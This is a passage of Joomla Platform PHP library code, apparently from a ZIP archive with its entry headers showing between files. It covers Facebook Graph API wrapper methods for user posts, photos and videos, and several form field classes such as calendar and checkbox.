* @param string $subject The subject of the note.
* @param string $message Note content.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createNote($user, $subject, $message)
{
// Set POST request parameters.
$data = array();
$data['subject'] = $subject;
$data['message'] = $message;
return $this->createConnection($user, 'notes', $data);
}
/**
* Method to get the user's photos. Requires authentication and
user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPhotos($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'photos', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a photo on user's wall. Requires authentication and
publish_stream permission, user_groups or friends_groups permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param string $source Path to photo.
* @param string $message Photo description.
* @param string $place Facebook ID of the place associated with
the photo.
* @param boolean $noStory If set to 1, optionally suppresses the feed
story that is automatically
* generated on a user’s profile when they
upload a photo using your application.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPhoto($user, $source, $message = null, $place =
null, $noStory = null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
$data['message'] = $message;
$data['place'] = $place;
$data['no_story'] = $noStory;
return $this->createConnection($user, 'photos', $data,
array('Content-Type' => 'multipart/form-data'));
}
/**
* Method to get the user's posts. Requires authentication and
read_stream permission for non-public posts.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param boolean $location Retrieve only posts with a location
attached.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getPosts($user, $location = false, $limit = 0, $offset =
0, $until = null, $since = null)
{
if ($location == true)
{
$location = '?with=location';
}
// Send the request.
return $this->getConnection($user, 'posts', $location,
$limit, $offset, $until, $since);
}
/**
* Method to post on a user's wall. Message or link parameter is
required. Requires authentication and publish_stream permission.
*
* @param mixed $user Either an integer containing the
user ID or a string containing the username.
* @param string $message Post message.
* @param string $link Post URL.
* @param string $picture Post thumbnail image (can only be
used if link is specified)
* @param string $name Post name (can only be used if link
is specified).
* @param string $caption Post caption (can only be used if
link is specified).
* @param string $description Post description (can only be used
if link is specified).
* @param array $actions Post actions array of objects
containing name and link.
* @param string $place Facebook Page ID of the location
associated with this Post.
* @param string $tags Comma-separated list of Facebook
IDs of people tagged in this Post.
* For example: 1207059,701732. You
cannot specify this field without also specifying a place.
* @param string $privacy Post privacy settings (can only be
specified if the Timeline being posted
* on belongs to the User creating the
Post).
* @param string $objectAttachment Facebook ID for an existing picture
in the User's photo albums to use as the thumbnail image.
* The User must be the owner of the
photo, and the photo cannot be part of a message attachment.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createPost($user, $message = null, $link = null, $picture
= null, $name = null, $caption = null,
$description = null, $actions = null, $place = null, $tags = null,
$privacy = null, $objectAttachment = null)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
$data['link'] = $link;
$data['name'] = $name;
$data['caption'] = $caption;
$data['description'] = $description;
$data['actions'] = $actions;
$data['place'] = $place;
$data['tags'] = $tags;
$data['privacy'] = $privacy;
$data['object_attachment'] = $objectAttachment;
$data['picture'] = $picture;
return $this->createConnection($user, 'feed', $data);
}
/**
* Method to delete a post. Note: you can only delete the post if it was
created by the current user. Requires authentication
*
* @param string $post The Post ID.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deletePost($post)
{
return $this->deleteConnection($post);
}
/**
* Method to get the user's statuses. Requires authentication
read_stream permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getStatuses($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'statuses', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a status message on behalf of the user. Requires
authentication publish_stream permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param string $message Status message content.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createStatus($user, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($user, 'feed', $data);
}
/**
* Method to delete a status. Note: you can only delete the post if it was
created by the current user.
* Requires authentication publish_stream permission.
*
* @param string $status The Status ID.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function deleteStatus($status)
{
return $this->deleteConnection($status);
}
/**
* Method to get the videos the user has been tagged in. Requires
authentication and user_videos or friends_videos permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getVideos($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'videos', '',
$limit, $offset, $until, $since);
}
/**
* Method to post a video on behalf of the user. Requires authentication
and publish_stream permission.
*
* @param mixed $user Either an integer containing the user ID
or a string containing the username.
* @param string $source Path to video.
* @param string $title Video title.
* @param string $description Video description.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createVideo($user, $source, $title = null, $description =
null)
{
// Set POST request parameters.
$data = array();
$data[basename($source)] = '@' . realpath($source);
$data['title'] = $title;
$data['description'] = $description;
return $this->createConnection($user, 'videos', $data,
array('Content-Type' => 'multipart/form-data'));
}
/**
* Method to get the posts the user has been tagged in. Requires
authentication and user_videos or friends_videos permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getTagged($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'tagged', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the activities listed on the user's profile.
Requires authentication and user_activities or friends_activities
permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getActivities($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'activities',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the books listed on the user's profile. Requires
authentication and user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getBooks($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'books', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the interests listed on the user's profile. Requires
authentication.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getInterests($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'interests',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the movies listed on the user's profile. Requires
authentication and user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMovies($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'movies', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the television listed on the user's profile.
Requires authentication and user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getTelevision($user, $limit = 0, $offset = 0, $until =
null, $since = null)
{
return $this->getConnection($user, 'television',
'', $limit, $offset, $until, $since);
}
/**
* Method to get the music listed on the user's profile. Requires
authentication user_likes or friends_likes permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getMusic($user, $limit = 0, $offset = 0, $until = null,
$since = null)
{
return $this->getConnection($user, 'music', '',
$limit, $offset, $until, $since);
}
/**
* Method to get the user's subscribers. Requires authentication and
user_subscriptions or friends_subscriptions permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getSubscribers($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'subscribers',
'', $limit, $offset);
}
/**
* Method to get the people the user is subscribed to. Requires
authentication and user_subscriptions or friends_subscriptions permission.
*
* @param mixed $user Either an integer containing the user ID or
a string containing the username.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getSubscribedTo($user, $limit = 0, $offset = 0)
{
return $this->getConnection($user, 'subscribedto',
'', $limit, $offset);
}
}
PKJn�[H�����facebook/video.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Facebook
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die();
/**
* Facebook API Video class for the Joomla Platform.
*
* @link http://developers.facebook.com/docs/reference/api/video/
* @since 3.2.0
* @deprecated 4.0 Use the `joomla/facebook` package via Composer instead
*/
class JFacebookVideo extends JFacebookObject
{
/**
* Method to get a video. Requires authentication and user_videos or
friends_videos permission for private videos.
*
* @param string $video The video id.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getVideo($video)
{
return $this->get($video);
}
/**
* Method to get a video's comments. Requires authentication and
user_videos or friends_videos permission for private videos.
*
* @param string $video The video id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getComments($video, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($video, 'comments',
'', $limit, $offset, $until, $since);
}
/**
* Method to comment on a video. Requires authentication and
publish_stream permission, user_videos or friends_videos permission for
private videos.
*
* @param string $video The video id.
* @param string $message The comment's text.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function createComment($video, $message)
{
// Set POST request parameters.
$data = array();
$data['message'] = $message;
return $this->createConnection($video, 'comments', $data);
}
/**
* Method to delete a comment. Requires authentication and publish_stream
permission, user_videos or friends_videos permission for private videos.
*
* @param string $comment The comment's id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteComment($comment)
{
return $this->deleteConnection($comment);
}
/**
* Method to get video's likes. Requires authentication and
user_videos or friends_videos permission for private videos.
*
* @param string $video The video id.
* @param integer $limit The number of objects per page.
* @param integer $offset The object's number on the page.
* @param string $until A unix timestamp or any date accepted by
strtotime.
* @param string $since A unix timestamp or any date accepted by
strtotime.
*
* @return mixed The decoded JSON response or false if the client is
not authenticated.
*
* @since 3.2.0
*/
public function getLikes($video, $limit=0, $offset=0, $until=null,
$since=null)
{
return $this->getConnection($video, 'likes', '',
$limit, $offset, $until, $since);
}
/**
* Method to like a video. Requires authentication and publish_stream
permission, user_videos or friends_videos permission for private videos.
*
* @param string $video The video id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function createLike($video)
{
return $this->createConnection($video, 'likes');
}
/**
* Method to unlike a video. Requires authentication and publish_stream
permission, user_videos or friends_videos permission for private videos.
*
* @param string $video The video id.
*
* @return boolean Returns true if successful, and false otherwise.
*
* @since 3.2.0
*/
public function deleteLike($video)
{
return $this->deleteConnection($video, 'likes');
}
/**
* Method to get the album-sized view of the video. Requires
authentication and user_videos or friends_videos permission for private
photos.
*
* @param string $video The video id.
*
* @return string URL of the picture.
*
* @since 3.2.0
*/
public function getPicture($video)
{
return $this->getConnection($video, 'picture');
}
}
PKJn�[I��
��form/fields/accesslevel.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a list of access levels. Access levels control what users in
specific
* groups can see.
*
* @see JAccess
* @since 1.7.0
*/
class JFormFieldAccessLevel extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'AccessLevel';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
$attr = '';
// Initialize some field attributes.
$attr .= !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= $this->disabled ? ' disabled' : '';
$attr .= !empty($this->size) ? ' size="' .
$this->size . '"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// Initialize JavaScript field attributes.
$attr .= $this->onchange ? ' onchange="' .
$this->onchange . '"' : '';
// Get the field options.
$options = $this->getOptions();
return JHtml::_('access.level', $this->name,
$this->value, $attr, $options, $this->id);
}
}
PKKn�[ÜQ%��form/fields/aliastag.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Framework.
*
* @since 2.5.0
*/
class JFormFieldAliastag extends JFormFieldList
{
/**
* The field type.
*
* @var string
* @since 3.6
*/
protected $type = 'Aliastag';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*
* @since 3.6
*/
protected function getOptions()
{
// Get list of tag type alias
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('Distinct type_alias AS value, type_alias AS
text')
->from('#__contentitem_tag_map');
$db->setQuery($query);
$options = $db->loadObjectList();
$lang = JFactory::getLanguage();
foreach ($options as $i => $item)
{
$parts = explode('.', $item->value);
$extension = $parts[0];
$lang->load($extension . '.sys', JPATH_ADMINISTRATOR,
null, false, true)
|| $lang->load($extension, JPath::clean(JPATH_ADMINISTRATOR .
'/components/' . $extension), null, false, true);
$options[$i]->text = JText::_(strtoupper($extension) .
'_TAGS_' . strtoupper($parts[1]));
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
// Sort by language value
usort(
$options,
function($a, $b)
{
return strcmp($a->text, $b->text);
}
);
return $options;
}
}
PKKn�[���22form/fields/cachehandler.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a list of available cache handlers
*
* @see JCache
* @since 1.7.0
*/
class JFormFieldCacheHandler extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'CacheHandler';
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
// Convert to name => name array.
foreach (JCache::getStores() as $store)
{
$options[] = JHtml::_('select.option', $store,
JText::_('JLIB_FORM_VALUE_CACHE_' . $store), 'value',
'text');
}
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
PKKn�[�D�eh$h$form/fields/calendar.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
*
* Provides a pop up date picker linked to a button.
* Optionally may be filtered to use user's or server's time
zone.
*
* @since 1.7.0
*/
class JFormFieldCalendar extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Calendar';
/**
* The allowable maxlength of calendar field.
*
* @var integer
* @since 3.2
*/
protected $maxlength;
/**
* The format of date and time.
*
* @var integer
* @since 3.2
*/
protected $format;
/**
* The filter.
*
* @var integer
* @since 3.2
*/
protected $filter;
/**
* The minimum year number to subtract/add from the current year
*
* @var integer
* @since 3.7.0
*/
protected $minyear;
/**
* The maximum year number to subtract/add from the current year
*
* @var integer
* @since 3.7.0
*/
protected $maxyear;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7.0
*/
protected $layout = 'joomla.form.field.calendar';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'maxlength':
case 'format':
case 'filter':
case 'timeformat':
case 'todaybutton':
case 'singleheader':
case 'weeknumbers':
case 'showtime':
case 'filltable':
case 'minyear':
case 'maxyear':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'maxlength':
case 'timeformat':
$this->$name = (int) $value;
break;
case 'todaybutton':
case 'singleheader':
case 'weeknumbers':
case 'showtime':
case 'filltable':
case 'format':
case 'filter':
case 'minyear':
case 'maxyear':
$this->$name = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->maxlength = (int) $this->element['maxlength']
? (int) $this->element['maxlength'] : 45;
$this->format = (string) $this->element['format']
? (string) $this->element['format'] : '%Y-%m-%d';
$this->filter = (string) $this->element['filter']
? (string) $this->element['filter'] : 'USER_UTC';
$this->todaybutton = (string)
$this->element['todaybutton'] ? (string)
$this->element['todaybutton'] : 'true';
$this->weeknumbers = (string)
$this->element['weeknumbers'] ? (string)
$this->element['weeknumbers'] : 'true';
$this->showtime = (string)
$this->element['showtime'] ? (string)
$this->element['showtime'] : 'false';
$this->filltable = (string)
$this->element['filltable'] ? (string)
$this->element['filltable'] : 'true';
$this->timeformat = (int) $this->element['timeformat']
? (int) $this->element['timeformat'] : 24;
$this->singleheader = (string)
$this->element['singleheader'] ? (string)
$this->element['singleheader'] : 'false';
$this->minyear = strlen((string)
$this->element['minyear']) ? (string)
$this->element['minyear'] : null;
$this->maxyear = strlen((string)
$this->element['maxyear']) ? (string)
$this->element['maxyear'] : null;
if ($this->maxyear < 0 || $this->minyear > 0)
{
$this->todaybutton = 'false';
}
}
return $return;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
$config = JFactory::getConfig();
$user = JFactory::getUser();
// Translate the format if requested
$translateFormat = (string)
$this->element['translateformat'];
if ($translateFormat && $translateFormat != 'false')
{
$showTime = (string) $this->element['showtime'];
$lang = \JFactory::getLanguage();
$debug = $lang->setDebug(false);
if ($showTime && $showTime != 'false')
{
$this->format = JText::_('DATE_FORMAT_CALENDAR_DATETIME');
}
else
{
$this->format = JText::_('DATE_FORMAT_CALENDAR_DATE');
}
$lang->setDebug($debug);
}
// If a known filter is given use it.
switch (strtoupper($this->filter))
{
case 'SERVER_UTC':
// Convert a date to UTC based on the server timezone.
if ($this->value && $this->value !=
JFactory::getDbo()->getNullDate())
{
// Get a date object based on the correct timezone.
$date = JFactory::getDate($this->value, 'UTC');
$date->setTimezone(new
DateTimeZone($config->get('offset')));
// Transform the date string.
$this->value = $date->format('Y-m-d H:i:s', true,
false);
}
break;
case 'USER_UTC':
// Convert a date to UTC based on the user timezone.
if ($this->value && $this->value !=
JFactory::getDbo()->getNullDate())
{
// Get a date object based on the correct timezone.
$date = JFactory::getDate($this->value, 'UTC');
$date->setTimezone($user->getTimezone());
// Transform the date string.
$this->value = $date->format('Y-m-d H:i:s', true,
false);
}
break;
}
// Format value when not nulldate ('0000-00-00 00:00:00'),
otherwise blank it as it would result in 1970-01-01.
if ($this->value && $this->value !=
JFactory::getDbo()->getNullDate() && strtotime($this->value)
!== false)
{
$tz = date_default_timezone_get();
date_default_timezone_set('UTC');
$this->value = strftime($this->format,
strtotime($this->value));
date_default_timezone_set($tz);
}
else
{
$this->value = '';
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7.0
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
$tag = JFactory::getLanguage()->getTag();
$calendar = JFactory::getLanguage()->getCalendar();
$direction = strtolower(JFactory::getDocument()->getDirection());
// Get the appropriate file for the current language date helper
$helperPath =
'system/fields/calendar-locales/date/gregorian/date-helper.min.js';
if (!empty($calendar) && is_dir(JPATH_ROOT .
'/media/system/js/fields/calendar-locales/date/' .
strtolower($calendar)))
{
$helperPath = 'system/fields/calendar-locales/date/' .
strtolower($calendar) . '/date-helper.min.js';
}
// Get the appropriate locale file for the current language
$localesPath = 'system/fields/calendar-locales/en.js';
if (is_file(JPATH_ROOT .
'/media/system/js/fields/calendar-locales/' . strtolower($tag) .
'.js'))
{
$localesPath = 'system/fields/calendar-locales/' .
strtolower($tag) . '.js';
}
elseif (is_file(JPATH_ROOT .
'/media/system/js/fields/calendar-locales/' . $tag .
'.js'))
{
$localesPath = 'system/fields/calendar-locales/' . $tag .
'.js';
}
elseif (is_file(JPATH_ROOT .
'/media/system/js/fields/calendar-locales/' .
strtolower(substr($tag, 0, -3)) . '.js'))
{
$localesPath = 'system/fields/calendar-locales/' .
strtolower(substr($tag, 0, -3)) . '.js';
}
$extraData = array(
'value' => $this->value,
'maxLength' => $this->maxlength,
'format' => $this->format,
'filter' => $this->filter,
'todaybutton' => ($this->todaybutton ===
'true') ? 1 : 0,
'weeknumbers' => ($this->weeknumbers ===
'true') ? 1 : 0,
'showtime' => ($this->showtime === 'true')
? 1 : 0,
'filltable' => ($this->filltable ===
'true') ? 1 : 0,
'timeformat' => $this->timeformat,
'singleheader' => ($this->singleheader ===
'true') ? 1 : 0,
'helperPath' => $helperPath,
'localesPath' => $localesPath,
'minYear' => $this->minyear,
'maxYear' => $this->maxyear,
'direction' => $direction,
);
return array_merge($data, $extraData);
}
}
PKKn�[{=�form/fields/checkbox.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Single checkbox field.
* This is a boolean field with null for false and the specified option for
true
*
* @link
http://www.w3.org/TR/html-markup/input.checkbox.html#input.checkbox
* @see JFormFieldCheckboxes
* @since 1.7.0
*/
class JFormFieldCheckbox extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Checkbox';
/**
* The checked state of checkbox field.
*
* @var boolean
* @since 3.2
*/
protected $checked = false;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'checked':
return $this->checked;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'checked':
$value = (string) $value;
$this->checked = ($value == 'true' || $value == $name ||
$value == '1');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
// Handle the default attribute
$default = (string) $element['default'];
if ($default)
{
$test = $this->form->getValue((string) $element['name'],
$group);
$value = ($test == $default) ? $default : null;
}
$return = parent::setup($element, $value, $group);
if ($return)
{
$checked = (string) $this->element['checked'];
$this->checked = ($checked == 'true' || $checked ==
'checked' || $checked == '1');
empty($this->value) || $this->checked ? null : $this->checked =
true;
}
return $return;
}
/**
* Method to get the field input markup.
* The checked element sets the field to selected.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Initialize some field attributes.
$class = !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$disabled = $this->disabled ? ' disabled' : '';
$value = !empty($this->default) ? $this->default :
'1';
$required = $this->required ? ' required
aria-required="true"' : '';
$autofocus = $this->autofocus ? ' autofocus' : '';
$checked = $this->checked || !empty($this->value) ? '
checked' : '';
// Initialize JavaScript field attributes.
$onclick = !empty($this->onclick) ? ' onclick="' .
$this->onclick . '"' : '';
$onchange = !empty($this->onchange) ? ' onchange="' .
$this->onchange . '"' : '';
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
array('version' => 'auto', 'relative'
=> true, 'conditional' => 'lt IE 9'));
return '<input type="checkbox" name="' .
$this->name . '" id="' . $this->id . '"
value="'
. htmlspecialchars($value, ENT_COMPAT, 'UTF-8') .
'"' . $class . $checked . $disabled . $onclick . $onchange
. $required . $autofocus . ' />';
}
}
PKKn�[�Ix���form/fields/checkboxes.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Displays options as a list of checkboxes.
* Multiselect may be forced to be true.
*
* @see JFormFieldCheckbox
* @since 1.7.0
*/
class JFormFieldCheckboxes extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Checkboxes';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.5
*/
protected $layout = 'joomla.form.field.checkboxes';
/**
* Flag to tell the field to always be in multiple values mode.
*
* @var boolean
* @since 1.7.0
*/
protected $forceMultiple = true;
/**
* The comma separated list of checked checkboxes value.
*
* @var mixed
* @since 3.2
*/
public $checkedOptions;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'forceMultiple':
case 'checkedOptions':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'checkedOptions':
$this->checkedOptions = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
